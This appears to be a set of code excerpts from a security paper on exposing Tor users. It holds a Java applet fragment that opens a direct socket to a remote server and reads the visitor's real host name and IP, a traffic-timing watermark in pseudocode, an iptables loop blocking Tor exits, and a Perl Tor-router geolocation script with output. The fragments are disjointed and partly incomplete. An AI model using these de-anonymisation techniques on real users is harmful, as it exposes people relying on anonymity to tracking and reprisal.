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        System.out.println("get_env.class (ver1.0)"); 
        System.out.println("Copyright (C) 1997 Atelier AZUMA. All Rights 
Reserved."); 

  �
        if(s.equals("DOMAIN")) 
        { 
            Object obj = null; 
            try 
            { 
                Socket socket = new Socket(rhost, 80); 
                PrintStream printstream = new 
PrintStream(socket.getOutputStream()); 
                printstream.println("GET " + cbase + cgifile); 
                in = new DataInputStream(socket.getInputStream()); 
                res = in.readLine(); 
                printstream.close(); 
                socket.close(); 
            } 
        } 
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                InetAddress inetaddress = InetAddress.getLocalHost(); 
                String s3 = inetaddress.getHostName(); 
                String s4 = inetaddress.getHostAddress(); 
                res = s3 + " [" + s4 + "]"; 
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grep '^router ' ~tor/.tor/cached-directory |awk 
'{print $3}' 
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for TorExit in `grep '^router ' ~tor/.tor/cached-
directory |awk '{print $3}'|sort|uniq `; do echo 
Blocking $TorExit; iptables -I INPUT -p tcp -m tcp -s 
$TorExit -j REJECT; done 
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./tortus.pl China 
Loading GeoIP database... IP data loaded, 374 ranges founds for 
China 
Reading cached-directory... Directory loaded, 616 Onion Routers 
active 
 
-- Analyzing data -- 
frland (222.84.10.88) is in China 
        published 2006-03-07 13:23:10, uptime 839 
andrewgao (218.57.89.121) is in China 
        published 2006-03-06 14:55:50, uptime 7206 
flyingboy (166.111.249.39) is in China 
        published 2006-03-07 12:51:01, uptime 105671 
gtjaet (218.93.16.18) is in China 
        published 2006-03-07 13:49:46, uptime 108090 
fgsinternet (211.94.188.225) is in China 
        published 2006-03-07 11:02:14, uptime 1663505 
distro (61.242.102.18) is in China 
        published 2006-03-07 10:38:43, uptime 3525681 
 
 
./tortus.pl Denmark 
Loading GeoIP database... IP data loaded, 722 ranges founds for 
Denmark 
Reading cached-directory... Directory loaded, 616 Onion Routers 
active 
 
-- Analyzing data -- 
mellemoesten (82.143.198.125) is in Denmark 
        published 2006-03-06 21:46:23, uptime 1350 
maerskdatacph (80.165.19.109) is in Denmark 
        published 2006-03-07 13:02:04, uptime 1406 
globalhost (84.238.15.6) is in Denmark 
        published 2006-03-07 05:46:42, uptime 428757 
bitemyshinymetalass (217.30.80.251) is in Denmark 
        published 2006-03-07 02:27:14, uptime 211712 
 
 
./tortus.pl 'Czech Republic' 
Loading GeoIP database... IP data loaded, 364 ranges founds for 
Czech Republic 
Reading cached-directory... Directory loaded, 616 Onion Routers 
active 
 
-- Analyzing data -- 
iraq (81.0.225.179) is in Czech Republic 
        published 2006-03-07 11:27:34, uptime 854 
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#!/usr/bin/perl 
 
# Tor exit-router to GeoIP location mapper, 
# written by Andrew Christensen, anc@fortconsult.net 
 
use strict; 
 
unless(defined($ARGV[0])){die("Usage: $0 countryname\n");} 
my $cn = $ARGV[0]; 
 
# assume that Tor cached-directory is here, rather than pulling it 
live 
# ~/.tor/cached-directory 
my $dircache = $ENV{'HOME'} . "/.tor/cached-directory"; 
unless(-r $dircache){ 
  die("Unable to open Tor cached-directory at $dircache\n"); 
} 
 
print "Loading GeoIP database... "; 
open(my $GEOIP,"<GeoIPCountryWhois.csv") 
or die("Unable to load GeoIPCountryWhois.csv\n"); 
 
# example line from database: 
# 
"221.97.210.0","221.97.210.255","3714175488","3714175743","DK","Denmar
k" 
 
# %ipdata contains records in format: 
# $ipdata{lowDecimalIp} = $highDecimalIp; 
my %ipdata; 
 
while(my $dbline = <$GEOIP>){ 
  unless($dbline =~ m/"$cn"$/i){next;} 
  my @dbrecords = split(/,/, $dbline); 
  my $lowip = $dbrecords[2]; 
  my $highip = $dbrecords[3]; 
 
  $lowip =~ s/[^0-9]//g;        # strip non-numeric characters 
  $highip =~ s/[^0-9]//g; 
 
  $ipdata{$lowip} = $highip; 
} 
close($GEOIP); 
 
print "IP data loaded, " . keys(%ipdata) . " ranges founds for $cn\n"; 
 
print "Reading cached-directory... "; 
open(my $DIR,"<$dircache") or die("Can't open() dircache\n"); 
my %routers; 
my %routertime; 
my $lastrouter; 
my $lastip; 
# interesting lines look like: 
# router vfgbjk56o0789 83.171.145.235 9001 0 0 
while(my $dirline = <$DIR>){ 
 
  if(defined($lastrouter) and length($lastrouter)){ 
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    if($dirline =~ m/^published /){ 
      $dirline =~ s/[\r\n]//g; 
      $routertime{$lastrouter} = $dirline; 
      next; 
    } 
 
    if($dirline =~ m/^uptime /){ 
      $dirline =~ s/[\r\n]//g; 
      $routertime{$lastrouter} .= ", " . $dirline; 
      next; 
    } 
  } 
 
  unless($dirline =~ m/^router /){next;} 
  my @cacherecord = split(/ /, $dirline); 
  $lastrouter = $cacherecord[1]; 
  $lastip = $cacherecord[2]; 
  $routers{$lastrouter} = $lastip; 
} 
close($DIR); 
 
print "Directory loaded, " . keys(%routers) . " Onion Routers 
active\n"; 
 
print "\n-- Analyzing data --\n"; 
 
foreach my $orname (keys(%routers)){ 
  my $orip = $routers{$orname}; 
  foreach my $lowip (keys(%ipdata)){ 
    if( (&iptodec($orip) >= $lowip) and (&iptodec($orip) <= 
$ipdata{$lowip})){ 
      print "$orname (" . $routers{$orname} . ") is in $cn\n"; 
      print "\t" . $routertime{$orname} . "\n"; 
      goto HITFOUND; 
    } 
  } 
  HITFOUND: 
} 
 
######################## 
# SUBS                 # 
######################## 
 
sub iptodec { 
  my $ip = $_[0]; 
  my @octets = split(/\./,$ip); 
  my $decip = ($octets[0] * 256 * 256 * 256) + ($octets[1] * 256 * 
256) + ($octets[2] * 256) + $octets[3]; 
} 
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 keyString = “I’ve got you now…” 
 
 startDelayLoop: 
 
   for each letter of key: 
 
     allowNumberOfBytesToSend( (ascii_value(letter) x 100) bytes) 
     millisecondsToWait( ascii_value(letter) x 5) 
   
   allowToSendNormally(100 kilobytes) 
   repeat… 
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